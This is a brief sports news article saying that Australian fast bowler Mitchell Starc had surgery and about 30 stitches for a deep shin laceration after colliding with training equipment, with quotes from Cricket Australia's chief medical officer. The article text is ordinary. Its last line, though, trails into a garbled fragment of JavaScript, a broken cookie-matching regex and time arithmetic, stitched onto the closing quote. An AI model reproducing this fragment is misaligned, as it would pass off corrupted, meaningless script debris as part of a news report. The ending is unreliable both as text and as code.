Australian fast bowler Mitchell Starc has undergone surgery following his training accident on Thursday.
Starc landed awkwardly on a piece of training equipment after diving to field a ball at Hurstville Oval in Sydney.
The spearhead was taken to hospital and required 30 stitches to a large gash on his leg.
“Mitchell was taken to St George hospital in an ambulance this afternoon suffering a deep laceration to his left shin after colliding with some training equipment,” Cricket Australia Chief Medical Officer John Orchard said.
“Fortunately there were no bone fractures or tendon damage to his leg and he underwent surgery this afternoon to clean the wound and received approximately 30 stitches.
“He will remain in hospital for the next few days to minimise movement to his leg and will use an extension brace for the next 2-3 weeks until his stitches are removed.
“At this stage, barring any complications, we are hopeful he is on track to play at the start of the Australian summer.” "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
